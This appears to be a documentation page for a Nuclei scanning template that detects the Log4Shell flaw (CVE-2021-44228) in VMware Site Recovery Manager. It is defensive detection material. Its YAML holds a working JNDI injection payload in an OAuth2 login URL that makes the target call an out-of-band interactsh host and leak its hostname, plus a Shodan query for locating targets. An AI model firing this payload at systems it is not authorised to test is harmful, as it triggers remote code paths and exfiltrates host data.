VMware Site Recovery Manager - Remote Code Execution (Apache Log4j)
ID: vmware-siterecovery-log4j-rce
Severity: critical
Author: akincibor
Tags: cve,cve2021,jndi,log4j,rce,oast,vmware,siterecovery,kev
Description
Section titled “Description”VMware Site Recovery Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
YAML Source
Section titled “YAML Source”id: vmware-siterecovery-log4j-rce
info: name: VMware Site Recovery Manager - Remote Code Execution (Apache Log4j) author: akincibor severity: critical description: | VMware Site Recovery Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. reference: - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/ - https://logging.apache.org/log4j/2.x/security.html - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-77 metadata: verified: true max-request: 1 shodan-query: title:"VMware Site Recovery Manager" tags: cve,cve2021,jndi,log4j,rce,oast,vmware,siterecovery,kevvariables: rand1: '{{rand_int(111, 999)}}' rand2: '{{rand_int(111, 999)}}'
http: - method: GET path: - '{{BaseURL}}/dr/authentication/oauth2/oauth2login?error=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-{{rand1}}%7D$%7B%3A-{{rand2}}%7D.$%7BhostName%7D.uri.{{interactsh-url}}%7D'
matchers-condition: and matchers: - type: word part: body words: - '<title>Error - Site Recovery</title>'
- type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns"
- type: regex part: interactsh_request regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors: - type: kval kval: - interactsh_ip
- type: regex part: interactsh_request group: 2 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex part: interactsh_request group: 1 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'# digest: 4a0a004730450220068ae0aada7f71b9ac4bb6cb6abc843e7bf9eb3e33e0dbea8bcaa6ee27ce2ac102210094a1c4db5a0ab63751f5a08bf5cdda2b06f3938552570304baff781b3b1373cc:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/vmware-siterecovery-log4j-rce.yaml"